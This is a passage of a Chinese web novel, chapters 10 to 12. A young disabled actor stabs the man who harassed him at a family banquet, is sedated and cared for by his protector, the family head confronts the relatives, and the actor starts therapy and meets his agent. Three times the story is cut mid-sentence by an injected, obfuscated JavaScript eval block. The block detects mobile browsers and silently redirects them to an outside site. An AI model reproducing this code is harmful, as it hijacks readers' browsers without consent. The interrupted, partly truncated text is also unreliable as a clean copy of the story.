景瞬眼疾手快,狠狠将刀刃往下一划。 “啊!” 迟盛疼得大叫,“景瞬,我要杀了你!” 但是再抬眼,沾了血的刀刃就已经抵在了他的眼前。 啪嗒。 凝聚在刀尖的血砸了下来。 持刀的景瞬浑身都在发抖,眼里充斥着痛苦和疯狂,“……我已经死过一次了,我什么都不怕,你要不要试试?” 他已经分不清什么是现实,什么是梦境,真实和虚幻交织着带来痛苦。 他只知道自己再也装不下积年累月的负面情绪,内心全面爆发的黑暗正在一点一点蚕食着他的灵魂! 就算是死,他也要拉着眼前人一块下地狱! ——轰! 下一秒,上了栓的木门被人从外轰然踹开。 10. 【第010章】 屋外的光亮划破了这片黑暗,凝固的空气重新流动了起来。 迟归站在门口,借着身后的廊灯光亮看清了情况: 昏暗而阴冷的厢房内,景瞬就这么瘫坐在地上,一手用力撑着地面,一手持着电刀扎进了迟盛的大腿。 血液弥漫,沾染了景瞬本该白皙的手指。 他的内衬领口被扯得凌乱,呼吸急促,单薄的身躯更是呈现出一种不自然的剧烈颤抖,像是陷入了某种魔怔。 “……” 大概是察觉到了门口的动静,景瞬麻木地抬了头,那双天生漂亮的桃花眼被阴暗和死志占满,看不见半点光亮。 迟归呼吸蓦然发沉,迅速走近。 他蹲在景瞬的身边,第一时间拢住那持刀的手,“景瞬,先把刀放下,别伤了自己。” 景瞬大脑意识混沌,想要抽手却没成功,他摇摇欲坠,对眼前的一切都带着强烈的不信任,“不,我不放……” “景瞬!冷静点!你看清楚,是我!” “……” 景瞬的眼波晃了一秒。 “没事了,没人能再伤害你,也别为了不值得的人伤害自己。”迟归缓慢掰开他泛白的指尖,用从未有过的温柔语气哄道,“听话,好吗?” ——哐当。 电刀伴随着千斤重的恨意一并丢在了地上,景瞬急促地喘了两下,骤然失了力气往后倒。 迟归顺势将他揽入自己的怀中,眉心紧缩,“景瞬?” 怀中人没说话,意识隐约有些溃散。 迟归看着掉在不远处的黑色围巾,当机立断将自己的外套脱下、裹在了景瞬的身上,这才抱紧起身。 迟盛的身子还麻着,腿疼得仿佛失了心智,居然向迟归求救起来,“救……救我……” 迟归闻声垂眸,戾气尽露,蓄力往他的腿上又踹了一脚。 “啊!” 迟盛当即疼得昏死了过去,再也没了挣扎。 景瞬听见了这声短促的惨叫,不受控地绷紧了身子,迟归察觉到他的状态,立即收敛了狠厉情绪。 “别怕,没事了,我带你回去休息。” 门口响起动静。 从别处寻来的陈易铭看清屋内的情况,只震惊了几秒就做出反应,“先生,你带着景先生先回去?剩下的我来处理。” 迟归将抱紧怀中人,不放心地示意,“对外锁住这混账受伤的消息,盯紧大房那边,要是敢闹起来,让他们有本事直接来找我!” “是。” … 迟宅有常年聘用的、正规的医生团队,平日就住在附近,因此在一通电话后来得很快。 赶来的医护进屋时,迟归刚将景瞬被血染污的外套换下。 惊厥中的景瞬紧闭着双眼,血色尽失的唇哽咽着,听不清在说什么,似乎是陷入了某种难以排解的痛苦情绪中。 “先生,应该是情绪应激导致的躯体化反应,目前情况很严重,得先打镇定剂来缓解。” 陈医生初步判定,连忙递给医助一道眼神,“快!” 好在平日里他们用正规资质、正规渠道,一直有备用药物。 医助很快就拿着注射器走了回来。 陈医生接过,“先生,得肌肉注射,打右手上肢。” 迟归将景瞬扶进自己的怀中,替对方右边衣袖,“来。” 针孔接触皮肤的瞬间,半昏半醒的景瞬像是突然意识到了什么,猛地挣扎起来,“我不要!你们滚开!滚、滚开!” 迟归连忙按住他,“景瞬!” 景瞬无意识地往他怀里躲,整个人痉挛得更加厉害,“疼,没用的……我不要……” 怎么打都没用的!他已经打过无数次针了,没有效果的,从来都没有! 他的腿好不了了,这辈子都站不起来了! 是迟盛,是迟盛骗了他! 陈医生观察着迟归的眼色,不敢硬来,“先生,这情况必须得打针,长时间惊厥抽搐很危险。” “我知道。”迟归不得不强行扣住景瞬的腰、箍住他的手臂,“你快点!” 一针镇定剂稳准狠地推了进去。 药效起得比想象中得还要快,不到二十分钟,景瞬就彻底陷入了沉睡中。 在边上观察的陈医生暗松了一口气,不忘提醒,“先生,躯体化反应大都是因为心理问题,镇定剂治标不治本。” 迟归神色很沉,“我心里有数。” 他接过管家手里的热毛巾,擦拭着景瞬还沾着肮脏血迹的手,“你们都先出去吧,今晚就待在这里休息,暂时别走了,免得后半夜有情况。” “好的,先生。” 卧室里恢复了安静,窗外的夜色浓郁。 也不知过了多久,卧室外才响起陈易铭的声音,“先生。” 迟归目光微转,“进。” 陈易铭轻手轻脚地走了进来,刻意压低了声音,“先生,今晚是我的过失,没能及时注意到景先生的动态。” 他先是认了错,再说,“我让人调出了回廊两边的监控记录,你看看?” 迟归接过助理递来的平板,看了起来。 前后监控的两个画面,如实记录了不久前发生的一切,迟归紧紧盯着画面内容,不肯放过任何一个细节。 忽然间,他还在某处前后拉扯了一下进度条。 陈易铭察觉了他的微妙举动,“先生,怎么了?” 迟归沉默着,微微摇头。 没几秒,他就看见监控里的迟盛野蛮地拽起景瞬、用力将他推进了厢房内。 迟归关掉平板,床头灯映出他晦暗难辨的神色。 陈易铭主动禀明情况,“迟少那边直接暗中送医了,我和韦迪也打点好了宾客和佣人,保证不会走漏消息。” “盯梢的人说,大房夫妇才得知了情况赶了过去,估计之后有得闹。” “……” 闹?他们也配? 迟归看回床上的景瞬,即便是在睡梦中,对方的神色也没那么安稳。 “让人继续盯紧了,我有分寸。” “好的。” … 这一觉,景瞬睡得又沉又重。 再次醒来时,他浑身弥漫着熟悉的酸痛感,嗓子更是干得冒烟。 有人在耳畔轻声呼唤,“小景先生,你醒了?” 景瞬模糊的视野渐渐恢复清晰,“……林叔?” “欸,是我。”林叔察觉到他嗓子的不舒适,拿起一旁的温水,“小景先生,你感觉怎么样?先喝点水润润嗓子。” 景瞬在林叔的帮助下艰难坐起,忍着晕眩喝水润嗓。 他环视着四周的环境,脑海中的记忆还有些凌乱,“林叔,昨天是你在照顾我吗?” “小景先生,昨晚是……” 话还没说完,卧室门就被人打开了。 迟归和陈医生一并从屋外走了进来,后者的手上还拿着刚刚配置好的吊瓶。 陈医生瞧见转醒的景瞬,先一步走近,“景先生,你还有些烧,我再给你打一针?” 景瞬往医生的后方瞥了一眼,和迟归短暂对视又挪回,“嗯。” 细长的针刺破手背、扎入静脉,景瞬全程垂眸一声不吭,更没露出任何抗拒的细微神色。 陈医生想起昨晚打针的情形,是试探也是关切,“景先生,不疼吧?” 景瞬还很虚弱,“不疼。” 迟归见他顺利输液,吩咐管家,“林叔,你下楼给景瞬弄点吃的。” “好的,先生。” 林叔应声,很有眼力劲地示意陈医生跟着自己一块离开。 房门合上,还留在屋内的两人自然而然地对上了视线。 迟归率先掌控话语权,“我们聊聊?” 景瞬回想起昨晚发生的一切,一时还没做好接话的准备,不自然地避开了目光。 迟归不在意他的沉默,“景瞬。” 不再是前几日那般客套的“景先生”,而是直呼了完整姓名。 “你还记不记得,在宴会前我和你说过什么?那份协议上又写了什么?” 迟归的语气不算强势,却也容不得人闪躲。 景瞬无处可逃,只能看他,“记得。” 迟归说过,宴会场合要跟在他的身边,协议写着,如果需要外出行动也得和他报备。 迟归追问,“那你昨晚做什么了?” “……” 景瞬迟疑了几秒,不着痕迹地吸了口气,“我只是想要去上洗手间,是迟盛跟踪我、纠缠不清的,我后来出手是出于正当防卫。” 迟归洞察了他的犹豫,“撒谎。” 简单两个字,震出景瞬压在深处的慌张。 迟归看破一切,“你早在口袋里备好了电刀,故意远离宴会和宾客,给了他跟踪你的机会,和他当面对峙后,你又刻意在言语上激怒他。” 而且,迟归在查看昨晚的监控视频时,注意到了一个很特别的小细节: 两人发生言语冲突后,景瞬没有第一时间往外撤离,而是特意瞄完了监控的位置,一反常态往厢房门口靠近。 “景瞬,你在赌——” “赌醉了酒的迟盛会被激怒上头,失控行事,厢房里面没有监控,反而方便你对他下手,是吗?” “……” 景瞬欲言又止,沉默足以说明真相。 是。 从决定参加宴会的那一刻起,景瞬就决意要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050922|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己的“上辈子”一个交代! 那把电刀是他出事后购入防身的,一直没用过,昨晚装进口袋是为了以备不时之需,没想过真能派上用场。 景瞬原本只想从迟盛的口中敲出真相,可他终究高看了对方的品行为人,也低估了自己心里累积的痛苦和阴霾。 迟盛扑上来的那一瞬间,景瞬不受控的恨意盖过了理智。 监控可以记录下迟盛对他的野蛮行为,而厢房正好能替他掩护真实意图,事后还能狡辩一句是在正当防卫。 可这样的掩饰和借口,被迟归轻易看穿了。 景瞬此刻恢复了该有的理智,内心却止不住的忐忑: 昨晚宴会上来了那么多宾客,他不顾迟归的面子单独行动,还出手伤了迟家大少爷。 迟归身为家主,哪怕和大房一家关系再不好,大概也不会选择保他。 沉默悄然蔓延。 迟归的目光锁定着景瞬,有意再次提醒,“景瞬,你违约了,这事不能就这么算了。” “……” 果然,是要秋后算账了。 景瞬知道自己昨晚言行上的过激,找不到任何可以辩解的借口,“抱歉,昨晚是我的问题,给你添麻烦了。” 他深吸一口气,“我愿意承担一切后果,也会尽快搬出去。” 这句话,景瞬说得很干脆,也很漠然,他早就习惯了孤苦无依的生活,从未奢求能有人给自己真正的庇护。 “……” 迟归沉默注视着景瞬的神色,企图找出一丝伪装逞强的痕迹,可惜搜寻无果。 “你的意思是,我们之间的协议作废?你也不需要宋春晖教授给你治疗了是吗?” 他眉心凝起,再出口的语气更是涌上一丝微妙的起伏,“也对,你昨晚还想着和迟盛同归于尽,连死都不怕了,还在意自己的双腿?” 景瞬如梦初醒,被压制过深的不安终于移到了脸上,“不是的,我不是这个意思!” 他攥紧了盖在腿上的被子,看向迟归的视线里多了一丝小心翼翼,“迟先生,我……” 迟归对上他憔悴的脸色,抢先表态,“景瞬,我没有要赶你走,更没打算结束我们之间的协议。” “我从不在乎迟盛的死活,我在意的是,你根本就没有把你自己的身体安危放在第一位。” 景瞬怔然。 发烧引起的晕眩还在继续,他生怕自己误解了这句话的含义。 迟归反问,“你有没有想过,如果昨天不是我及时赶到,可能会出现什么后果?” “万一迟盛逃了出去呼救,或者被参加宴会的宾客发现、报了警,一传十、十传百地闹大了事情?再或者,迟盛发狠伤了你呢?” 说到最后一种假设,语气明显严肃起来。 “景瞬,从签订协议的那一天起,我们就算得上是利益共同体了,不要瞒着我擅自行动,给任何外人留下把柄,给他们伤害你、威胁我的机会。” 景瞬听见这话,才后知后觉地意识到—— 迟归能走到如今的地位,绝非易事,背地里肯定有无数双眼睛盯着他的一举一动,他不能出错,他身边人都不能出错! 景瞬抿了抿唇,“对不起。” 虽然他不后悔对迟盛的反击,但他并不愿拖累到其他人。 迟归叹了口气,“不需要和我道歉,迟盛和大房那边我会处理,但昨晚的事情下不为例,能做到吗?” 云淡风轻的一段话,就将景瞬纳入自己的保护范围,也将昨晚的事情翻了篇。 “嗯。” 景瞬闷闷应了一声,透着点犯错后的乖。 迟归眉眼松动了一下,话锋一转,“协议不会终止,但你昨晚不听话。” “……” “既然犯错了就要接受惩罚,同意吗?” 景瞬不敢不同意,“什么惩罚?” “先欠着,等你休息好了再说。” “好吧。” 敲门声响起。 管家林叔端着一碗温热的小米粥走了进来,“先生,小景先生刚醒,先喝点粥吧?” 迟归微微点头,景瞬也没拒绝。 温热的流食入口,一路回暖,驱赶了体内最后的寒意。 景瞬想起自己不曾间断的梦魇,想起内心积攒的无处发泄的痛苦,那种感觉实际上很糟糕,稍有不慎就会毁了自己,就像昨晚那样的不受控。 既然有机会重活一世,他不能、也不应该将自己永远困在过往! 景瞬心有所动,看向迟归主动报备,“迟先生,我过两天想要外出,我、我想找个心理医生咨询一下。” 听见这话,迟归的眉头彻底松动了。 “嗯,可以。” 11. 【第011章】 海市康雅私人医院。 配套设施极好的顶级病房里,迟盛躺在床上,时不时发出痛苦压抑的抽气声,“疼死了!就不能再打一针止疼吗?” 麻醉药的药性已经过去了,缝了针的伤口上了药,这会儿泛起令他难以忍受的疼痛。 迟婷看在眼里、疼在心里,还没等她开口,紧闭的病房门就被人打开了。 林御风带着年近七十的迟仁聘走了进来,他迅速和妻子交换了一道眼神,“爸,你慢点。” 迟婷出声,“爸,你可算来了,你看看你宝贝孙子遭罪成什么样了!” 迟仁聘走到病床边,看着迟盛疼到毫无血色的脸,“情况怎么样了?严重吗?” “能不严重吗?两边大腿都被扎出血窟窿了。” 迟婷提及自家儿子的伤势,气不打一处来,“特别是左腿,划了将近十厘米的伤口,整整缝了十二针啊!” 林御风补充,“爸,医生说了,这伤口要是再深上、长上一两公分,只怕以后走路都会有影响。” 迟盛半真半假地露出痛苦神色,“爷爷,对不起,让你担心了。” 迟仁聘活到这把岁数,子孙缘却薄弱,眼下就迟盛这么一个宝贝孙子。 如今听见这情况,他眉头直皱,“平白无故的,怎么会在自家的宴会上发生这种事?到底谁干的!” 迟婷将迟仁聘扶到沙发上坐下,先发制人,“爸,还能有谁?” 迟仁聘听出她的话外音,神色微变,“迟归?你们又怎么惹到这煞神了?” 迟婷反驳,“我们可不敢惹,是他故意找我们的麻烦!” “我们大房辛辛苦苦忙活了快一年的项目,迟归倒好,借着集团的优势说抢走就抢走!昨晚当着那么多海市豪商的面,直接把我们大房的面子踩在脚底下!” “这些就算了,但小盛做错了什么?迟归那没良心的,居然让人故意将他伤成这个样子!” 话音刚落,虚掩的病房门忽地发出“轰——”的一声打开了,突如其来的动静吓得病房内的人纷纷侧目。 迟归不请自来,冷沉的目光盯着病床上的人。 “我要是想下手,他这双腿就该彻底废了!” “……” 随着他的靠近,周遭的空气立刻逼仄起来。 迟盛脸上浮现本能的心虚和恐惧,不敢与之对视。 迟归根本不给他躲避的机会,将手中的平板砸在了他缠着纱布的腿上,又重又狠。 这一下子,刚包扎好的伤口再度裂开渗出了血。 迟盛疼得一哆嗦,硬生生将痛苦压了下去。 迟婷爱子心切,“迟归!你什么意思!真以为我们大房不敢报警处理?” 迟归站在床尾,无动于衷,“行啊,让警方也来瞧瞧这个货色。” 平板上的监控视频开启了新一轮的播放,将昨晚发生的一切如实公布在了众人的眼前—— 迟盛不仅跟踪骚扰了行动不便的景瞬,而且还用蛮力将他拽起、推进了无人的厢房! 接下来是想做什么龌龊行径?答案不言而喻。 “……” 迟婷面露错愕,反应过来的她迅速瞪向自家儿子:不是说了不喜欢男人吗?这又是在闹什么! 迟盛有口难言,“妈,不是你想得那样,我……” 迟仁聘没想到迟盛受伤的背后会牵扯出这么一段事儿,只觉得荒唐! 他看向迟婷,“我怎么觉得监控里的年轻人有些眼熟?还不说句实话!” 林御风见形势不对,出面圆场,“爸,这人是迟盛的少时朋友,以前来过一次家中宴会,昨晚估计是他们小年轻之间闹矛盾了,有些误会……” “不是误会。”迟归强硬打断,复述,“是迟盛喝醉酒跟踪景瞬、骚扰他、甚至精/虫上脑、意图不轨!” “他在我的酒宴上没了分寸,我才动手给了他一点教训。” 迟归暗含警告的视线扫了大房一圈,定定落在迟仁聘的脸上,“大姐不是想要报警吗?等警方到了,正好我和迟盛一块儿对线。” “你……” 迟仁聘欲言又止。 迟归是现任的集团董事长,要因为这种事情被警方带走问询,一旦走漏风声,只怕旁支亲戚、各路股东立刻会开启新一轮的探听和作妖。 更严重的,还会影响到集团市值。 迟仁聘再怎么心疼小辈,但第一思想还是以家族利益为上,“好了,一点儿小事误会而已,报什么警?找什么警察?” 迟婷不甘心,“爸!这事不能就这么算了!” 她似乎是想到了什么,冷笑着意有所指,“真少见啊,你这回倒是宁愿自己揽错,也要护着那个景瞬?你们俩什么关系?” “咱们迟氏家大业大,上不了台面的事情可得少做,我看你这年纪也是时候结婚了,咱爸还等着抱孙子呢。” 迟仁聘听出一丝微妙,但他的思绪立刻就被迟归打断了,“迟婷,你有什么资格过问我的私事!嫌自己的日子过得太舒坦了?” 直呼其名,连句装装客套样子的“大姐”都不叫了。 迟婷冷哼。 韦迪适时拿回平板,反手从公文包里拿出一叠厚厚的文件,“婷总,润光科技近两年对集团总部上交的公示报表涉嫌利润造假,您要不看看?” “……” “既然你们大房这么爱报警,那顺带把这些文件证据也交给警方,另外立案处理吧。” 这下子,迟婷终于变了脸色,向来淡定的林御风也露出些许慌张—— 所谓的“财务造假”,只是大房利用集团的渠道便利拿低价、做高价,瞒着集团和对接方将中间“多余”出来的利润放进了自己的腰包。 只不过,他们近两年拿着这些钱涉及了海外的灰色产业地带。 要是警方彻查起来,只怕会麻烦不断!处理稍有不慎,可能就要面临牢狱之灾! “够了!” 迟仁聘喊停了这场不断扩大的闹剧,似乎是有意在为大房遮掩,“一家人闹什么闹!这件事就到此为止!” 迟归瞥了迟仁聘一眼,没有多少敬重,“爸,现在的迟氏是我说了算,就不劳您费心了。” 他接过助理手中的文件,一点儿情面都不留地甩在了大房夫妇的面前。 “这件事该怎么做,你们自己知道,月末要是补不上这笔窟窿,我一定亲手把你们送进去!” 迟婷看着砸在脚边的文件,嚣张气焰尽收,就连向来体面的林御风也面露尴尬。 迟归不再理会这对夫妻,而是看向迟盛,“收起你那些见不得人的心思,别再骚扰他。” 冷厉的目光如同利剑出鞘,一招抵喉。 迟盛憋屈至极,“不、不会了。” 迟归转身就走,连迟仁聘也没放在眼里。 迟仁聘盯着他无情冷硬的背影,气得心脏直突突,“反了他!当初就不应该把这逆子带回来!” 自从掌管了家主之位,越发不将他们这些至亲当做一回事儿了! 病房内的声音逐渐远离,直到电梯门彻底隔绝了这一切。 韦迪才问,“先生,就这么把证据‘送’到了他们的手上,会不会太便宜大房了?” 在事实确凿的情况下,只要迟归的手段够强硬,完全大房送进去吃几年牢房。 迟归不觉得可惜,“我要是动得狠了,老头子那边少不了节外生枝的麻烦。” 集团底下牵扯的分公司和股东实在太多了,不到万不得已,还不能下手太绝。 不过,这次的警告敲打足够大房掉肉长教训了,免得他们一而再、再而三地找景瞬麻烦。 迟归想起景瞬,眉眼间的冷厉缓了些,“心理医生找好了吗?” “嗯,易铭已经联系好了,听说明天下午就去。” “好。” … 次日下午。 景瞬坐在车后排,看着手上刚拿到的医生信息,“温不言?” 对方是很权威的心理医生兼咨询师,早些年是华医心理健康科的科室主任,她提早退休后,创办了这家私人诊疗室。 光是单次的咨询诊疗费用就高达四位数,哪怕是这样,前来找她的心理患者也不在少数。 景瞬有所耳闻,“……她的问诊费好像很贵。” 他原本只想就近找家医院,挂个心理咨询的号,自己也能出得起这笔费用。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050923|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈易铭笑笑,“小景先生,先生已经预支过费用了。他的意思是,你在这方面不需要有任何压力和负担,既然我们能请得起好医生,就没必要退而求其次。” 景瞬想了想,“好吧,替我谢谢迟先生。” 双方之间的协议已成,他又决定要剔除心病,自然是怎么好怎么来。 半小时后,两人准时抵达私人诊疗室。 年过五十的温医生站在门口,面相看上去很有亲和力,“两位好。” 她没有对轮椅上的景瞬露出任何异样神色,而是温柔开口,“景先生,首先很感谢你的信任——” “其次,这边需要你先配合我的助手做几个心理方面的检查,等初步评估你的心理健康程度后,我再为你开启一对一的单独诊疗时间。” 景瞬点头,“好的。” 一个小时后,所有的检查数据出炉。 布置温馨的单独诊疗室内,温医生将测试结果告知,“景先生,重度焦虑,重度抑郁,还伴随着轻微厌食,以及一定程度上的躯体化症状。” “……” 景瞬并不意外,他捏了捏自己的指腹,“嗯,要怎么办呢?” 温医生察觉到他的小动作,主动将桌子上一个毛茸茸的小狗玩偶递了过去,“抱着玩玩?” 景瞬诧异接过,但摸上去的手感意外不错。 温医生这才开口,“景先生,你愿意主动接受心理诊疗,就代表现在的你有本能的自救意识,这是好事。” “我接下来会问你一些问题,可能会涉及隐私,但我希望你能如实告知。当然,也请你相信我的专业性。” 景瞬捏了捏玩偶,犹豫了两秒后,还是选择了配合。 “好。” … 两个小时的问诊一晃而过。 景瞬刚从诊疗室出来,陈易铭就迎了上来,“小景先生,结束了?” 温医生跟了上来,“医助已经配好药物,按时吃,我会定期上门进行心理辅导,期间有任何情况,欢迎随时和我沟通。” 景瞬的状态还算不错,“谢谢温医生。” “不客气。” 温医生垂眸,脸上挂着温和的笑意,“景先生很喜欢这个小狗玩偶?” 景瞬才意识到自己还攥着玩偶,连忙将其递了回去,“不好意思。” 温医生没接,反过来提议,“景先生,如果有条件的话可以养只小狗,小猫也行。” 很多时候,饲养宠物能对心理疾病的患者带来显著的积极作用。 “……” 小狗吗? 景瞬眸光亮了一瞬,却没有直接应下。 温医生说,“这只玩偶就送给你吧,我这儿还有,下次再见。” 景瞬握着毛茸茸的玩偶,没再拒绝,“好,下次见。” 两人刚走出电梯门,陈易铭就提醒,“小景先生,这边。” 景瞬循声望去,才发现侧边停了一辆黑色豪车,不是他们来时的那辆。 后排车窗适时移下,露出迟归的面容。 景瞬有些意外,靠近,“迟先生,你怎么在这里?” 迟归解释,“在附近办了点事,易铭说你这边差不多要结束了,正好顺路带你们回去。” 景瞬没有怀疑,“等很久了吗?” 迟归一脸平静,“刚来,上车吧。” 站在后方的陈易铭和充当司机的韦迪对了一道眼神,什么话都没说,默默帮着景瞬上车坐稳。 一分钟后,车子停在了出口的缴费处。 电子机械音一本正经地响了起来:“尊敬的车主,您好,您的海A11999已超过免费停车时长,请及时缴费,谢谢配合!” “……” “……” 景瞬愣住,不自觉地看向迟归。 边上的迟归像是没注意到他的视线,一言不发地盯着手机上的财务报表,看上去很忙。 身为特助的韦迪和陈易铭最会察言观色,极快做出各自该有的反应。 一人负责缴费,“马上!” 一人负责打马虎眼,“这儿停车场挺坑的啊,才停了……停了十来分钟吧?怎么就要缴费了?” 12.【第012章】 韦迪迅速缴完停车费,默不作声地将车子驶入了正常路面。 景瞬没将这小小插曲往深处想,他放空看着车窗外的街景,指腹不停地揉着怀中的玩偶。 忽然间,边上传来声音,“哪来的玩偶?” 景瞬看了一眼提问的迟归,难得露出点笑容,“温医生送我的,很软呢。” 他拿起新得的小礼物展示,圆润的指尖透着点粉。 迟归的视线多停了两秒,问,“检查结果出来了?感觉怎么样?” “嗯,是有点心理方面的问题。”景瞬没有隐瞒这既定的事实,“温医生挺专业的,我们今天聊了很多。” 其实景瞬一开始还有所顾忌、不愿意袒露太多,温医生察觉了他的心里戒备,没逼着回答,而是用极其专业又柔软的方式使他一点点放松下来。 “……” 迟归知道这样的问诊大都涉及个人隐私,没有刨根究底下去。 坐在前排的陈易铭惯会察言观色,主动提起新一轮话题,“小景先生,你很喜欢小狗吗?我们临走前,温医生建议你可以养一只试试。” 迟归捕捉关键,眼色微顿,“养狗?” 景瞬拢紧手中的小狗玩偶,口是心非,“……还好,我没想养。” 其实,他小时候养过一只白色的土松犬,是六岁那会儿在剧组遇上的拍摄犬,拍着拍着就有了感情。 景瞬杀青后舍不得,不但抱着小狗哭了好一阵儿,景观海见儿子实在喜欢,才出面交涉买下。 景瞬给那只土松犬延用了剧里的名字,叫奶球,这一养就是十二年。 十八岁那一年,景瞬不但遭受了父母早就离婚、重组家庭的打击,同时还失去了朝夕相伴的小狗朋友。 曾经的景瞬设想过,要是自己生活和收入稳定了,可以再养一只小狗作陪。 可惜命运的打击来得猝不及防,之后的几年里,景瞬忙着奔波治疗双腿,再也没有多余的精力。 毕竟他连自己都养不好,哪里还能养得起小狗? 景瞬浅吸了一口气,反问,“迟先生呢?你喜欢小狗吗?” 迟归眸色微变,留了点余地,“还好,没什么感觉。” 与其说是“还好”,不如说是“不喜欢”。 他小时候被乡下发了狂的恶犬咬伤过,现在左肩还留着一条消不掉的旧疤。 虽然迟归已经忘记了被撕咬时的疼痛感,疤痕也不会影响到如今正常的生活,但童年记忆深处的那点阴影犹存,导致他对犬类的印象都不太好。 “哦。” 景瞬应了声,心尖弥漫上一点儿不着调的失落。 看来短期内,他得彻底收起养狗的那点念头,毕竟寄人篱下,不给人家添麻烦就已经很好了。 迟归捕捉到了景瞬那一秒下沉的语气,刚准备再说些什么,结果对方的手机忽地响起了震动。 景瞬挪回注意力,拿出手机查看微信消息。 没几秒,他有些迟疑地看向了迟归,“迟先生,我明天下午可以再出门一趟吗?” “谁找你?” 迟归脱口而出,但他立刻意识到自己越了界,于是补充,“没出什么事吧?” 景瞬想起两人协议内容,说明原因,“是我之前认识的一位经纪人,叫喻修竹,本来我和喻哥谈定了意向的经纪合约,打算等上部电影结束后正式签约。” 没想到,临时杀青却出了意外。 “出事后,喻哥一直挺关心我的,之前还来医院探望过我,但我那会儿状态不好,没顾得上和他细聊。” 上辈子,景瞬因为自身病态的消极心理,慢慢就和喻修竹在内的一众朋友淡了联系,如今,他想要从头改变这一切。 “喻哥现在给我发消息,问我这两天有没有空,想要见个面。” 景瞬如实说完,安静等待了四五秒。 他见迟归没出声,嘟囔催促,“……我报备完了,能出门了吗?” 迟归听见最后的闷闷哼哼,眉梢轻轻往上一挑,“嗯,知道了,没说不让你去,不过明天让易铭他们跟着,你一个人外出不方便。” 景瞬捏了捏小狗玩偶的耳朵,没反对,“嗯,好吧。” … 折腾了一个下午,景瞬的精力实在是耗尽了,一到家就回房间休息了。 陈易铭看着已经坐电梯上楼的景瞬,才延迟发问,“先生,需要我提前查查那个经纪人的身份背景吗?” 迟归微不可闻地应了一声,“尽快。” 背调可以不涉及隐私,至少得知道那位名叫“喻修竹”的经纪人到底靠不靠谱。 陈易铭的办事效率还是很高效的。 晚上不到九点,关于“喻修竹”的资料就已经送到了迟归的面前。 “先生,喻修竹今年31岁,是帝京人,明面上确实是执证经纪人,他的父亲是知名导演喻川,母亲方可茴也是圈内著名制片人。” 家中还有其他长辈从艺、从商,甚至从政。 这些都是公开的背景资料,可以说,喻修竹是个名副其实的京圈公子哥,家世很好。 大概是受了双亲的影响,喻修竹大学毕业后就和友人创办了鼎星工作室,专门对接圈内艺人的经纪业务,而他本人手底下同样带过好几位艺人。 “其中最有名的是谢从矜,这两年已经算是圈内顶流了。” 迟归又翻了一页电子资料,忽地捕捉到了关键词,“洗/钱?” “哦,是的。” 陈易铭着重提及,“两年前,鼎星工作室被爆利用影视投资非法洗/钱,同时段,还解约了谢从矜在内的一众演员艺人。” “后面经过警方调查,这些违法乱纪的事和喻修竹无关,是工作室其他两位合伙人出了问题。” 不过受到影响,喻修竹本人在圈内还是销声匿迹了一段时间,直到去年年初,他才在海市重新成立了新的工作室,竹林经纪。 陈易铭说着,又想起了一事,“去年十月份那会儿,小景先生确实和他在横城见过面,不过没多久,剧组就出了事故。” “我知道了。” 迟归将平板递了回去,“明天他们俩见面,你远远看着就行,不用凑近打扰,保证安全就行。” 陈易铭点头,“明白。” 迟归眸光微泛,又想起了一件要紧事,“对了,你让林叔上来一趟,我正好也有事要交代他去办。” “好的。” …… 次日下午,竹林经纪。 这家工作室才成立一年,但内在的装修风格完全贴合工作室名称,就连休息室里都布置了不少“竹”的元素,风雅十足。 “小瞬,来——” 喻修竹将一杯泡好的果茶递到了景瞬的面前,“知道你不爱喝咖啡,所以给你泡的果茶,酸甜口的,你试试。” 人如其名,喻修竹的君子气度是由内而外散发的,平日里对人待物总是温柔体贴、细致入微,一双笑眼轻易就能博得任何人的好感。 景瞬扬唇,捧着果茶暖手,“谢谢喻哥。” 喻修竹在他的对面坐下,“你和我还客气什么?” 两人其实很早就认识了—— 景瞬当初参演过喻川导演的电影,虽然只是出场很短暂的小小配角,但意外结识了来剧组探班的喻修竹。 两人相差了八九岁,可是聊得投缘,这些年一直保持联系。 “小瞬,我看你的状态比之前好了不少。” 听说剧组出事后,喻修竹就第一时间去医院探望过景瞬,也会隔三差五在微信上发去关切。 景瞬也不藏着掖着,“有人替我请了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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即便从小到大接拍了那么多影视作品、遇到的剧本质量参差不齐,但景瞬的灵气从未被磨灭,而是越发扎实了基本功、磨砺了演技! 两人视线相对,景瞬看穿了对方眼里的惋惜,“喻哥,我是不会放弃演戏的。” 他从未放弃过自己的电影梦想,他热爱表演,十几年如一日,“如果还有机会,我要一直活在镜头前、去完成每一个属于我自己的角色。” 当然,景瞬也知道,在自己的双腿彻底好转之前,这样的工作机会很少很少。 喻修竹听见他的表态,暗松一口气,“只要你想,我的工作室永远会对你抛出橄榄枝,那份意向合约依旧有效。” 景瞬心尖一暖,鼓起勇气询问,“喻哥,我确实想要请你帮帮忙,你手头有没有适合我的工作?” “你想找工作?” “嗯!” 景瞬应得恳切,“哪怕不是在镜头前,只是待在幕后也可以,我可以后期剪辑、写脚本分镜,还有字幕翻译什么的……” 